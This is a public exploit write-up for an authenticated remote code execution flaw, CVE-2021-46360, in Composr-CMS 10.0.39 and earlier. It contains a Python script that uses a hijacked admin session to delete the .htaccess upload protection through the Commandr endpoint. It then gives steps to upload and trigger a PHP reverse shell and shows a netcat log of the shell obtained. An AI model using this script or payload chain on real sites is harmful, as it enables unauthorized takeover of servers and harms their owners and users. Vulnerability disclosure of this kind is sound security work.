Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution

# Exploit Title: Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 12th January,2022
# CVE ID: CVE-2021-46360
# Confirmed on release 10.0.39 using XAMPP on Ubuntu Linux 20.04.3 LTS
# Reference: https://github.com/sartlabs/0days/blob/main/Composr-CMS/Exploit.py
# Vendor: https://compo.sr/download.htm

###############################################
#Step1- We should have the admin credentials, once we logged in, we can disable the php file uploading protection, you can also do this manually via Menu- Tools=>Commandr

#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
import time

cookies = {
    'has_cookies': '1',
    'PHPSESSID': 'ddf2e7c8ff1000a7c27b132b003e1f5c',                   #You need to change this as it is dynamic
    'commandr_dir': 'L3Jhdy91cGxvYWRzL2ZpbGVkdW1wLw%3D%3D',
    'last_visit': '1641783779',
    'cms_session__b804794760e0b94ca2d3fac79ee580a9': 'ef14cc258d93a',  #You need to change this as it is dynamic
}

headers = {
    'Connection': 'keep-alive',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Accept': '*/*',
    'Origin': 'http://192.168.56.116',
    'Referer': 'http://192.168.56.116/composr-cms/adminzone/index.php?page=admin-commandr',
    'Accept-Language': 'en-US,en;q=0.9',
}

params = (
    ('keep_session', 'ef14cc258d93a'), #You need to change this as it is dynamic
)

data = {
  '_data': 'command=rm .htaccess',  # This command will delete the .htaccess means disables the protection so that we can upload the .php extension file (Possibly the php shell)
  'csrf_token': 'ef14cc258d93a'  #You need to change this as it is dynamic
}


r = requests.post('http://192.168.56.116/composr-cms/data/commandr.php?keep_session=ef14cc258d93a', headers=headers, params=params, cookies=cookies, data=data, verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
#datap=response.read()
print (soup)
    
#Step2- Now visit the Content=>File/Media Library and then upload any .php web shell (
#Step 3 Now visit http://IP_Address/composr-cms/uploads/filedump/php-reverse-shell.php and get the reverse shell:

┌─[ci@parrot]─[~]
└──╼ $nc -lvvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.116] 58984
Linux CVE-Hunting-Linux 5.11.0-44-generic #48~20.04.2-Ubuntu SMP Tue Dec 14 15:36:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 13:35:13 up 20:11,  1 user,  load average: 0.00, 0.01, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     :0       :0               Thu17   ?xdm?  46:51   0.04s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ pwd
/
$